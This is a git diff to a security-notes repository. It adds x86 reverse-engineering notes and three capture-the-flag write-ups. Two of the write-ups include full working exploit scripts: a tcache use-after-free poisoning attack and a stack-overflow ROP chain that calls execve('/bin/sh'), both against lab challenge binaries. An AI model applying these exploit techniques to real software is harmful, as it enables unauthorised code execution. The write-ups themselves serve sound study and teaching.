diff options
Diffstat (limited to 'docs')
| -rw-r--r-- | docs/forensics/image_convolution.txt | 2 | ||||
| -rw-r--r-- | docs/re/arch_x86.txt | 60 | ||||
| -rw-r--r-- | docs/re/re_links.txt | 1 | ||||
| -rw-r--r-- | docs/re/rep_prefix.txt | 18 | ||||
| -rw-r--r-- | docs/re/test_v_cmp.txt | 17 | ||||
| -rw-r--r-- | docs/writeups/2024/BraekerCTF/misc/e.txt | 103 | ||||
| -rw-r--r-- | docs/writeups/2024/BraekerCTF/misc/eye_doctor.png | bin | 0 -> 53001 bytes | |||
| -rw-r--r-- | docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt | 147 | ||||
| -rw-r--r-- | docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt | 190 |
9 files changed, 503 insertions, 35 deletions
diff --git a/docs/forensics/image_convolution.txt b/docs/forensics/image_convolution.txt new file mode 100644 index 0000000..419389b --- /dev/null +++ b/docs/forensics/image_convolution.txt @@ -0,0 +1,2 @@ +https://medium.com/analytics-vidhya/image-convolution-from-scratch-d99bf639c32a +https://docs.gimp.org/2.6/en/plug-in-convmatrix.html diff --git a/docs/re/arch_x86.txt b/docs/re/arch_x86.txt index 5d526b2..85cf22f 100644 --- a/docs/re/arch_x86.txt +++ b/docs/re/arch_x86.txt @@ -105,3 +105,63 @@ The function return value is stored in the a register. Stack pointer register: rsp Base pointer register: rbp Return value in: rax + + + +Specific Callouts +============================================================ + +TEST vs. CMP +------------ +CMP subtracts operands and sets internal flags. Among these, it sets the +zero flag if the difference is zero (operands are equal). + +TEST sets the zero flag (ZF) when the result of the AND operation is zero. If +the two operands are equal, their bitwise AND is zero only when the operands +themselves are zero. TEST also sets the sign flag (SF) when the most +significant bit is set in the result, and the parity flag (PF) when the number +of set bits is even. + +JE (alias of JZ) tests the zero flag and jumps if it is set. This creates the +following equivalencies: + +test eax, eax +je <somewhere> ----> if (eax == 0) {} + +cmp eax, ebx +je <somewhere> ----> if (eax == ebx) {} + + +REP prefix +---------- +The "rep" prefix on a string instruction repeats that string instruction for CX +block loads. + +e.g. STOS is "Store String" +It will store the value in AX at the address in RDI +(technically, STOSB, STOSW, STOD, and STOSQ use AL, AX, EAX, and RAX respectively) +If RCX = 0x20, RDI = some buffer, and RAX = 0, + +`rep stosq` is equivalent to: + +``` +buf_ptr = buf +for(i = 0x20; i != 0; i--) + *buf_ptr = 0; + buf_ptr++; +``` + + +LOOP instruction +---------------- +#from stack overflow: +#https://stackoverflow.com/questions/46881279/how-exactly-does-the-x86-loop-instruction-work + +LOOP is exactly like `dec ecx / jnz`, except it doesn't set flags. + +It's like the bottom of a `do {} while (--ecx != 0);` loop in C. If execution +enters the loop with ecx=0, wrap-around means the loop will run 2**32 times +(2**64 times in 64-bit mode). + +Unlike `rep movsb/stosb/etc`, it doesn't check for ecx=0 before decrementing, +only after. diff --git a/docs/re/re_links.txt b/docs/re/re_links.txt new file mode 100644 index 0000000..73cc224 --- /dev/null +++ b/docs/re/re_links.txt @@ -0,0 +1 @@ +http://www.javadecompilers.com/ diff --git a/docs/re/rep_prefix.txt b/docs/re/rep_prefix.txt deleted file mode 100644 index 23e0cec..0000000 --- a/docs/re/rep_prefix.txt +++ /dev/null @@ -1,18 +0,0 @@ -The "rep" prefix on a string instruction repeats that string instruction for CX block loads. -e.g. -STOS is "Store String" -It will store the value in AX at the address in RDI -(technically, STOSB, STOSW, STOD, and STOSQ use AL, AX, EAX, and RAX respectively) -If RCX = 0x20, RDI = some buffer, and RAX = 0, - -`rep stosq` - -is equivalent to: - -``` -buf_ptr = buf -for(i = 0x20; i != 0; i--) - *buf_ptr = 0; - buf_ptr++; -``` - diff --git a/docs/re/test_v_cmp.txt b/docs/re/test_v_cmp.txt deleted file mode 100644 index c98424f..0000000 --- a/docs/re/test_v_cmp.txt +++ /dev/null @@ -1,17 +0,0 @@ -CMP subtracts operands and sets internal flags. Among these, it sets the -zero flag if the difference is zero (operands are equal). - -TEST sets the zero flag (ZF) when the result of the AND operation is zero. If -the two operands are equal, their bitwise AND is zero only when the operands -themselves are zero. TEST also sets the sign flag (SF) when the most -significant bit is set in the result, and the parity flag (PF) when the number -of set bits is even. - -JE (alias of JZ) tests the zero flag and jumps if it is set. This creates the -following equivalencies: - -test eax, eax -je <somewhere> ----> if (eax == 0) {} - -cmp eax, ebx -je <somewhere> ----> if (eax == ebx) {} diff --git a/docs/writeups/2024/BraekerCTF/misc/e.txt b/docs/writeups/2024/BraekerCTF/misc/e.txt new file mode 100644 index 0000000..5b7f455 --- /dev/null +++ b/docs/writeups/2024/BraekerCTF/misc/e.txt @@ -0,0 +1,103 @@ +"Grrrrr". This robot just growls. The other bots tell you that it is angry +because it can't count very high. Can you teach it how? + + + +Overview +-------- +The challenge provides a C++ source file and a netcat port. The program code +appears to be a short series of prompts, which passing all of them will print +the flag. At each stage, our input is taken as a single-precision floating +point number which must pass various rounding error and precision checks. + + + +Level 1 +------- +bool flow_start() { + // Get user input + float a = get_user_input("Number that is equal to two: "); + + // Can't be two + if (a <= 2) + return false; + + // Check if equal to 2 + return (unsigned short)a == 2; +} + +I saw some solutions take advantage of the fact that large numbers would +"overflow" when truncated via the (unsigned short) cast, giving a valid input +like 65538 (0x10002). + +My solution leveraged the floating point truncation (aka: loss of decimal +places): 2.0000002384 + + + +Level 2 +------- +bool round_2() { + float total = 0; + + // Sum these numbers to 0.9 + for (int i = 0; i < 9; i++) + total += 0.1; + + // Add user input + total += get_user_input("Number to add to 0.9 to make 1: "); + + // Check if equal to one + return total == 1.0; +} + +During the for-loop, precision errors accumulate and the total will overshoot +0.9. Less than 0.1 must be given: 0.09999990 + + + +Level 3 +------- +bool level_3() { + float total = 0; + + unsigned int *seed; + vector<float> n_arr; + + // Random seed + seed = (unsigned int *)getauxval(AT_RANDOM); + srand(*seed); + + // Add user input + add_user_input(&n_arr, "Number to add to array to equal zero: "); + + // Add many random integers + for (int i = 0; i < 1024 * (8 + rand() % 1024); i++) + n_arr.push_back((rand() % 1024) + 1); + + // Add user input + add_user_input(&n_arr, "Number to add to array to equal zero: "); + + // Get sum + for (int i = 0; i < n_arr.size(); i++) + total += n_arr[i]; + + // Check if equal to zero + return total == 0; +} + +Many random numbers between [1, 1024] are summed up in this function, and we are +asked for two more, for all of them to sum to zero. Since the range of random +numbers is known (<=1024), we can provide relatively large numbers to squeeze +out the randomness. + +Given the fixed-precision, yet floating decimal point of floats, adding a large +value to a small value can potentially reduce the smaller value to zero as its +exponent and mantissa are adjusted to match the other. + +10000000000000000 +-10000000000000000 + + + +brck{Th3_3pS1l0n_w0rkS_In_M15t3riOuS_W4yS} diff --git a/docs/writeups/2024/BraekerCTF/misc/eye_doctor.png b/docs/writeups/2024/BraekerCTF/misc/eye_doctor.png Binary files differnew file mode 100644 index 0000000..58e27d3 --- /dev/null +++ b/docs/writeups/2024/BraekerCTF/misc/eye_doctor.png diff --git a/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt b/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt new file mode 100644 index 0000000..34ed9af --- /dev/null +++ b/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt @@ -0,0 +1,147 @@ +"I promise it is actually simple this time." + + + +This challenge consists of a single x86_64 ELF executable. There is also a +Dockerfile provided to allow you to setup a copy of the remote service. I found +this particularly useful - since this challenge involves a heap allocator +vulnerability, the libc version in use is very important. I actually couldn't +get a solution working on my dev machine and stuck to working inside this +container for the duration of the problem. + + + +RE +-- +The program operates in an infinite loop, performing actions based on the user's +selections from an invisible menu. We can malloc, free, read from, and write to +a collection of heap-based memory regions. There is also an extra menu option +that calls into another function to perform a "win" check - if some global +buffer contains the string "ALL HAIL OUR LORD AND SAVIOR TEEMO", the check() +function will graciously give us a shell on the system. + +None of the IO allows us to overrun any memory allocations. All calls to malloc +are for 0x67 bytes, and all reads and writes on the heap buffers are also for +up to 0x67 bytes, so we cant corrupt memory that way. Instead, this program is +vulnerable to a Use-After-Free bug, since the free() operation fails to set any +pointers to NULL after releasing them. + +If we can trick the allocator to return a pointer to the global "check" buffer, +then use the menu to let us write arbitrary data into it, we can populate it +with the magic string mentioned above, allowing check() to give us a shell. + + + +Tcache / Forward pointers +------------------------- +It is significant that every heap allocation made by the program is of the +exact same size. This allows us to assume that the same collection of heap +memory "chunks" will be pulled from in order to service our malloc requests. +The fact that the same bin is used throughout the lifecycle of the process is +convenient because any memory corruption we perform in a freed chunk will have +direct impact on the behavior of the allocator on our next call to malloc(). + +The tcache table will store pointers to what is effectively a linked-list of +freed memory chunks, available for reuse. This forms a linked-list because it +is metadata present at the beginning of each freed chunk that points to the next +available chunk, if any. The tcache is only formatted as a table so that it may +accommodate chunks of various sizes. + +We can not modify the tcache directly since we don't have a pointer to it setup +in the program. However, due to the program use-after-free vulnerability, we +can corrupt the forward pointers of any chunk after it becomes freed (since the +array in main still points to it). All we have to do is encode the address of +some memory that we want to access/modify into a chunk's forward pointer. Then, +when that chunk gets reused, our forged pointer is pulled into tcache for the +next allocation. + +The forward pointers are encoded in a special way, attempting to mitigate +tampering by an attacker. This technique is called "safe linking" and uses the +randomness of ASLR to protect the linked-list pointers like so: + + fp = (chunk_address >> 12) ^ pointer + +Normally, we would be unable to forge `chunk_address` due to ASLR. However, +this challenge allows us to read and write the chunk memory before and after +freeing, so we can leak it. + + + +The attack +---------- +We want to trick the allocator into returning a pointer to `checkbuf` so that we +can modify it with the magic string, then call check() to get a shell. + +First, malloc() then free() a pointer. This gets a chunk placed in the bin of +available chunks and leaves its pointer present in the array in main(). + +Read from this pointer to leak the encoded NULL pointer and recover the base +address of the chunk. + +Write back to this pointer, replacing the forward pointer metadata with our own. +This pointer should reference `checkbuf`. + +Call malloc again. This should return the original chunk and injest its +metadata to the tcache. + +Call malloc a final time. This time it returns a pointer to `checkbuf`, +believing it to be the next available chunk for reuse. + +Write to this pointer, to implant the magic string, then call check(). + +cat flag from the shell + +amateursCTF{what_is_a_flag?why_am_i_even_doing_this_anymore?crazy?i_was_crazy_once...} + + + +Solution in sploit follows + +``` +from nsploit.rev import * + +elf = ELF("./chal") + +def menu(a, b): + io.readuntil(contains, b"> ") + io.writeline(str(a).encode()) + io.readuntil(contains, b"> ") + io.writeline(str(b).encode()) + +def malloc(x): + menu(0, x) + +def free(x): + menu(1, x) + +def read(x, data): + menu(2, x) + io.readuntil(contains, b"data> ") + io.write(Payload()(data, padlen(0x67))()) + +def write(x): + menu(3, x) + io.readuntil(contains, b"data> ") + return io.read(0x67) + +def check(): + io.readuntil(contains, b"> ") + io.writeline(b"67") + +malloc(0) +free(0) + +base_ptr = btoi(write(0)[:8]) << 12 +print(hex(base_ptr)) + +crafted_ptr = (base_ptr >> 12) ^ elf.sym.checkbuf +read(0, itob(crafted_ptr)) + +malloc(0) # consume old chunk +malloc(1) # allocate forged ptr + +read(1, b"ALL HAIL OUR LORD AND SAVIOR TEEMO\x00") + +check() +io.interact() +``` diff --git a/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt b/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt new file mode 100644 index 0000000..21612e7 --- /dev/null +++ b/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt @@ -0,0 +1,190 @@ +"Sometimes rust is just a little too safe for me." + + + +We are provided with an x86_64 ELF executable and its corresponding Zig source +code. There is also a dummy flag file and Dockerfile that can be used to +construct a functioning mirror of the remote. I never bothered with this docker +image while testing, opting to simply debug the executable and test various +inputs with sploit. + +The program is a very simple Zig file: +``` +const std = @import("std"); +const print = std.debug.print; + +pub fn main() void { + print("you can never have too much zip pwn.\n", .{}); + + var backing: [0x100]u8 = undefined; + var buf: []u8 = &backing; + buf.len = 0x1000; + _ = std.io.getStdIn().read(buf) catch {}; +} +``` + + + +RE +-- +The program appears to attempt to read up to 0x1000 bytes into a buffer of size +0x100. If my understanding of the Zig API involved is correct, the language's +stdin.read() is still trying to do a properly bounded read, but the challenge +author has thwarted that by making a "cast" of the backing memory area (called +`buf`) with its size information overridden. This should allow us to smash the +stack by overrunning the area allocated for `backing` (the actual stack-based +memory) when main calls stdin.read(buf). + +I analyzed the main() function in ghidra - here is a truncated view of what +happens. First, "you can never have..." is printed; then the space for +`backing` is initialized to all 0xaa bytes. The read at the end is shown: +``` + uStack_168 = 0xaaaaaaaaaaaaaaaa; + backing[0] = 0xaa; + backing[1] = 0xaa; + backing[2] = 0xaa; + backing[3] = 0xaa; + backing[4] = 0xaa; + backing[5] = 0xaa; + backing[6] = 0xaa; + backing[7] = 0xaa; + buf.ptr = (u8 *)0x1000; + getStdIn(); + buf.len._4_4_ = (undefined4)buf.len; + read((int)local_18,&local_180,(size_t)((long)&buf.len + 4)); // ! + return; +} +``` + +That read() call is to an instance method on the stdin object obtained with +`getStdIn()`. Since I'm not at all familiar with the Zig standard library, I +didn't originally trace the calls down to the actual read system call. Instead, +I tried feeding the program a large de Bruijn sequence and looking for a crash. +When catching a crash this way, you just need to check what address RIP tried +to jump to and search the original input for that bit pattern. Since the input +sequence should have no duplicate substrings, we can unambiguously determine the +offset at which to place an attacker-controlled return address to gain +execution. + +Using this method, I determined the necessary offset to be 360 bytes. Just to +confirm, if we feed this basic sploit payload into the program, we should get +main to "return" into 0xdeadbeef (and crash). + + io.writeline(Payload()(padlen(360), 0xdeadbeef)()) + +I had planned at this point to construct a ROP chain to call into libc and +obtain a shell on the remote. However, on a quick glance of the binary we can +see that not only is this a statically linked executable, but Zig doesn't +appear to lean on the C runtime library at all. So, a different path to exec() +would need to be found. + +I will also point out here that the executable is also compiled as non-PIC, +but I did not realize that at this point. I proceeded to construct my ROP +chain under the assumption that ASLR was randomizing the location of my +non-.text sections. I know, that sounds odd in hindsight, but that should +explain how and why I was trying to load the string for "/bin/sh" from a stack +address in the way that I was. + + + +ROP +=== +As stated above, we have a different set of standard library functions compiled +into the program as you might expect with libc. There is no function for +execve() or similar, however there are some generic syscall functions. I +attempt to call syscall3() in this way: + + syscall3(59, binsh_ptr, 0, 0) //execve("/bin/sh", NULL, NULL) + +59 is the syscall number for execve() on linux x86_64, and while the last two +arguments aren't "supposed" to be NULL, we can set them that way without +breaking anything. + +Since this isn't based on a libc, there is no "/bin/sh" string in memory that +we can just search for and point to. The bytes need to be loaded by our +attack somehow. We can trivially place them on the stack - just include the +string directly in the response we send to read(). However, we don't know the +location of the stack in memory and would have to leak the string's address. + + + +Loading arbitrary stack memory (unnecessary) +============================================ +I searched for any gadget that would be useful for mov-ing the current stack +pointer address into some other register. This way I could implant "/bin/sh" +on the stack payload (as described above) then grab a reference to it to use +later in the ROP chain. If you pair such a gadget with another one that makes +a pop or two into unrelated registers, you can nudge the stack pointer past +this string data and continue on executing your ROP. + +The only potentially useful gadgets like this involved a `mov rbp, rsp` +instruction - the problem with all of them is that they were each part of a +function epilogue that does `pop rbp; ret` at the end, overwriting our saved +stack address. + +Some other gadgets did the same initial mov and involved an `xchg rbp, *`. +These looked promising, but each ended up being unviable for one reason or +another. + +I eventually realized what I mentioned earlier in this writeup: the file is +non-PIC, so we have reliable runtime addresses for sections like .data and +.bss. It was this realization that allowed me to construct my final ROP chain. + + + +ROP (for real) +============== +I have a known writable location in memory that I can use - that being the start +of the .bss section. Since I don't mind crashing the process after getting the +flag, my payload can freely use this space to house any data it needs. I'll +store the string "/bin/sh\x00" here. + +sploit has a feature for incorporating arbitrary memory access into ROP chains, +but I did need to manually find a gadget for it to use. This was found using +r2 in sploit's gadget search: + + Gadget(0x10bb81a, 'mov qword [rdx], rdi; xor eax, eax; ret') + +AKA: If I can get values into rdi and rdx, this gadget will write the bytes +encoded in rdi, into the memory location pointed to by rdx. eax is also set to +zero, this is just a random side-effect of executing this gadget, and should be +accounted for by the rest of the ROP chain. + +In my solution script, I needed to manually identify a couple other "register +controlling" gadgets too. You'll see those in the solution below. The main +job of my exploit script is fairly straightforward at this point - just produce +a single payload with the following ROP: + + - 360 padding bytes + - write "/bin/sh\x00" to address 0x10d8000 (.bss) + - setup registers to call syscall3(59, 0x10d8000, 0, 0) + +When the exec completes, we will have an interactive shell on the system and +can just cat the flag file. See my full nsploit script below. + +amateursCTF{i_love_zig_its_my_favorite_language_and_you_will_never_escape_the_zig_pwn_ahahaha} + + + +``` +from nsploit.rev import * +from nsploit.tech import * + +elf = ELF("./chal") +rop = ROP(elf) + +straddr = elf.sym.sect['.bss'] + +elf.sym.rdi = GadHint(0x10c3470, pops=['rdi','rbp']) +elf.sym.rsi = GadHint(0x10cec9e, pops=['rsi','rbp']) +elf.sym.www = GadHint(0x10bb81a, writes={'rdx':'rdi'}, imms={'rax':0}) + +payload = Payload() +payload.pad = padlen(360) +payload.binsh = rop.memcpy(straddr, b"/bin/sh\x00") +payload.shell = rop.call(elf.sym['os.linux.x86_64.syscall3'], 59, straddr, 0, 0) + +print(payload) +io.writeline(payload()) +io.interact() +``` |
